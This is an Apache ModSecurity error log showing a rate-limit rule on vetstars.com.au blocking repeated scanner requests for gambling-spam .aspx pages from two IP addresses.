[Tue Mar 31 13:06:16.034172 2026] [:error] [pid 36892:tid 36966] [client 51.75.128.50:33636] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "actWSEyj9S4G0ek3O4IY5wAAAI8"]
[Tue Mar 31 13:06:18.459128 2026] [:error] [pid 36982:tid 36995] [client 51.75.128.50:33638] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "actWSvlMmeoQKN0r_GNpsgAAAMo"]
[Tue Mar 31 13:06:20.824871 2026] [:error] [pid 36891:tid 36924] [client 51.75.128.50:35776] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "actWTJJhiMaJUqoqfl5u7QAAAEA"]
[Tue Mar 31 14:35:33.301031 2026] [:error] [pid 36982:tid 37005] [client 65.108.78.33:1838] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "actrNflMmeoQKN0r_GO38AAAANQ"]
[Tue Mar 31 14:35:35.839231 2026] [:error] [pid 36891:tid 36931] [client 65.108.78.33:1840] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "actrN5JhiMaJUqoqfl6GjwAAAEc"]
[Tue Mar 31 14:35:38.364004 2026] [:error] [pid 36982:tid 36995] [client 65.108.78.33:1854] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "actrOvlMmeoQKN0r_GO4AwAAAMo"]
[Tue Mar 31 14:35:40.835585 2026] [:error] [pid 36982:tid 36993] [client 65.108.78.33:1868] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "actrPPlMmeoQKN0r_GO4CgAAAMg"]
[Tue Mar 31 14:35:43.371701 2026] [:error] [pid 36891:tid 36926] [client 65.108.78.33:49132] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "actrP5JhiMaJUqoqfl6GlAAAAEI"]
[Tue Mar 31 14:35:46.009152 2026] [:error] [pid 6548:tid 6550] [client 65.108.78.33:49140] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "actrQrgIz9HgMl9YwE5qPAAAAUA"]
[Tue Mar 31 14:35:48.506366 2026] [:error] [pid 36982:tid 36998] [client 65.108.78.33:49150] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "actrRPlMmeoQKN0r_GO4EAAAAM0"]
[Tue Mar 31 14:35:51.013654 2026] [:error] [pid 36982:tid 36989] [client 65.108.78.33:49160] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "actrR_lMmeoQKN0r_GO4GgAAAMQ"]
[Tue Mar 31 14:35:53.620154 2026] [:error] [pid 41421:tid 41428] [client 65.108.78.33:3014] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "actrSRSaDjY9kKFtUQASLQAAAQQ"]
[Tue Mar 31 14:35:56.105283 2026] [:error] [pid 41421:tid 41440] [client 65.108.78.33:3022] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "actrTBSaDjY9kKFtUQASNwAAARA"]
[Tue Mar 31 14:35:58.654951 2026] [:error] [pid 6548:tid 6558] [client 65.108.78.33:3032] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "actrTrgIz9HgMl9YwE5qVAAAAUg"]
[Tue Mar 31 14:36:01.245889 2026] [:error] [pid 41421:tid 41446] [client 65.108.78.33:3036] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "actrURSaDjY9kKFtUQASPwAAARY"]
[Tue Mar 31 14:36:03.913396 2026] [:error] [pid 36982:tid 37000] [client 65.108.78.33:13070] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "actrU_lMmeoQKN0r_GO4LQAAAM8"]
[Tue Mar 31 14:36:06.493633 2026] [:error] [pid 6548:tid 6566] [client 65.108.78.33:13072] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "actrVrgIz9HgMl9YwE5qZgAAAVA"]
[Tue Mar 31 14:36:09.080061 2026] [:error] [pid 6548:tid 6557] [client 65.108.78.33:13084] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "actrWbgIz9HgMl9YwE5qbwAAAUc"]
[Tue Mar 31 14:36:11.807696 2026] [:error] [pid 36890:tid 36906] [client 65.108.78.33:13090] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "actrW58FASPd_uH8z7fIlwAAAAs"]
[Tue Mar 31 14:36:14.425601 2026] [:error] [pid 36982:tid 37007] [client 65.108.78.33:16526] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "actrXvlMmeoQKN0r_GO4NwAAANY"]
[Tue Mar 31 14:36:17.037643 2026] [:error] [pid 36890:tid 36908] [client 65.108.78.33:16534] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "actrYZ8FASPd_uH8z7fInQAAAA0"]
[Tue Mar 31 14:36:19.619231 2026] [:error] [pid 36982:tid 37003] [client 65.108.78.33:16544] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "actrY_lMmeoQKN0r_GO4QQAAANI"]
[Tue Mar 31 14:36:22.037058 2026] [:error] [pid 6548:tid 6558] [client 65.108.78.33:16560] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "actrZrgIz9HgMl9YwE5qhQAAAUg"]
[Tue Mar 31 14:36:24.644414 2026] [:error] [pid 36892:tid 36975] [client 65.108.78.33:7470] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "actraEyj9S4G0ek3O4I0GwAAAJg"]
[Tue Mar 31 14:36:27.288608 2026] [:error] [pid 41421:tid 41446] [client 65.108.78.33:7476] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "actraxSaDjY9kKFtUQASZQAAARY"]
[Tue Mar 31 14:37:24.672500 2026] [:error] [pid 36892:tid 36960] [client 65.108.78.33:27382] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "actrpEyj9S4G0ek3O4I0NwAAAIk"]
[Tue Mar 31 14:37:27.255036 2026] [:error] [pid 41421:tid 41442] [client 65.108.78.33:27388] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "actrpxSaDjY9kKFtUQASrAAAARI"]
[Tue Mar 31 14:37:29.611587 2026] [:error] [pid 36892:tid 36952] [client 65.108.78.33:27404] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "actrqUyj9S4G0ek3O4I0PgAAAIE"]
[Tue Mar 31 14:37:32.247392 2026] [:error] [pid 36890:tid 36912] [client 65.108.78.33:27408] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "actrrJ8FASPd_uH8z7fI3wAAABE"]
[Tue Mar 31 14:37:34.679613 2026] [:error] [pid 41421:tid 41433] [client 65.108.78.33:22896] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "actrrhSaDjY9kKFtUQASuAAAAQk"]
[Tue Mar 31 14:37:37.094131 2026] [:error] [pid 6548:tid 6553] [client 65.108.78.33:22910] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "actrsbgIz9HgMl9YwE5rRAAAAUM"]
[Tue Mar 31 14:37:39.604255 2026] [:error] [pid 36891:tid 36924] [client 65.108.78.33:22920] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "actrs5JhiMaJUqoqfl6G5QAAAEA"]
[Tue Mar 31 14:37:42.255615 2026] [:error] [pid 36890:tid 36915] [client 65.108.78.33:22936] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "actrtp8FASPd_uH8z7fI9QAAABQ"]
[Tue Mar 31 14:37:44.739508 2026] [:error] [pid 36890:tid 36912] [client 65.108.78.33:55484] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "actruJ8FASPd_uH8z7fI-wAAABE"]
[Tue Mar 31 14:37:47.341474 2026] [:error] [pid 36982:tid 36987] [client 65.108.78.33:55494] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "actru_lMmeoQKN0r_GO5OgAAAMI"]
[Tue Mar 31 14:37:49.929420 2026] [:error] [pid 36982:tid 37003] [client 65.108.78.33:55510] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "actrvflMmeoQKN0r_GO5PgAAANI"]
[Tue Mar 31 14:37:52.574287 2026] [:error] [pid 6548:tid 6562] [client 65.108.78.33:31564] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "actrwLgIz9HgMl9YwE5ragAAAUw"]
[Tue Mar 31 14:37:55.117620 2026] [:error] [pid 36982:tid 36995] [client 65.108.78.33:31578] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "actrw_lMmeoQKN0r_GO5RwAAAMo"]
[Tue Mar 31 14:37:57.596145 2026] [:error] [pid 36890:tid 36910] [client 65.108.78.33:31588] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "actrxZ8FASPd_uH8z7fJBAAAAA8"]
[Tue Mar 31 14:38:00.124404 2026] [:error] [pid 41421:tid 41438] [client 65.108.78.33:31598] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "actryBSaDjY9kKFtUQAS5gAAAQ4"]
[Tue Mar 31 14:38:02.595495 2026] [:error] [pid 36982:tid 37007] [client 65.108.78.33:24428] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "actryvlMmeoQKN0r_GO5UAAAANY"]
[Tue Mar 31 14:38:05.039742 2026] [:error] [pid 36982:tid 36989] [client 65.108.78.33:24442] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "actrzflMmeoQKN0r_GO5WQAAAMQ"]
[Tue Mar 31 14:38:07.617324 2026] [:error] [pid 6548:tid 6554] [client 65.108.78.33:24456] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "actrz7gIz9HgMl9YwE5rhwAAAUQ"]
[Tue Mar 31 14:38:10.019291 2026] [:error] [pid 36982:tid 36995] [client 65.108.78.33:24458] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "actr0vlMmeoQKN0r_GO5YAAAAMo"]
[Tue Mar 31 14:38:12.449545 2026] [:error] [pid 36890:tid 36915] [client 65.108.78.33:63582] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "actr1J8FASPd_uH8z7fJFAAAABQ"]
[Tue Mar 31 14:38:14.845574 2026] [:error] [pid 36892:tid 36966] [client 65.108.78.33:63596] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "actr1kyj9S4G0ek3O4I0ZwAAAI8"]
[Tue Mar 31 14:38:17.431094 2026] [:error] [pid 36982:tid 37002] [client 65.108.78.33:63610] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "actr2flMmeoQKN0r_GO5oQAAANE"]
[Tue Mar 31 14:39:14.447145 2026] [:error] [pid 36890:tid 36906] [client 65.108.78.33:64930] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "actsEp8FASPd_uH8z7fJVQAAAAs"]
[Tue Mar 31 14:39:16.951926 2026] [:error] [pid 6548:tid 6564] [client 65.108.78.33:64946] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "actsFLgIz9HgMl9YwE5swQAAAU4"]
[Tue Mar 31 14:39:19.458531 2026] [:error] [pid 6548:tid 6556] [client 65.108.78.33:64948] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "actsF7gIz9HgMl9YwE5s2gAAAUY"]
[Tue Mar 31 14:39:22.146824 2026] [:error] [pid 41421:tid 41436] [client 65.108.78.33:64952] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "actsGhSaDjY9kKFtUQATaAAAAQw"]
[Tue Mar 31 14:39:24.681870 2026] [:error] [pid 6548:tid 6557] [client 65.108.78.33:51866] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "actsHLgIz9HgMl9YwE5s3QAAAUc"]
[Tue Mar 31 14:39:27.143553 2026] [:error] [pid 41421:tid 41427] [client 65.108.78.33:51874] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "actsHxSaDjY9kKFtUQATdAAAAQM"]
[Tue Mar 31 14:39:29.832474 2026] [:error] [pid 41421:tid 41440] [client 65.108.78.33:51876] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "actsIRSaDjY9kKFtUQATdgAAARA"]
[Tue Mar 31 14:39:32.276731 2026] [:error] [pid 36982:tid 37006] [client 65.108.78.33:51882] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "actsJPlMmeoQKN0r_GO6wAAAANU"]
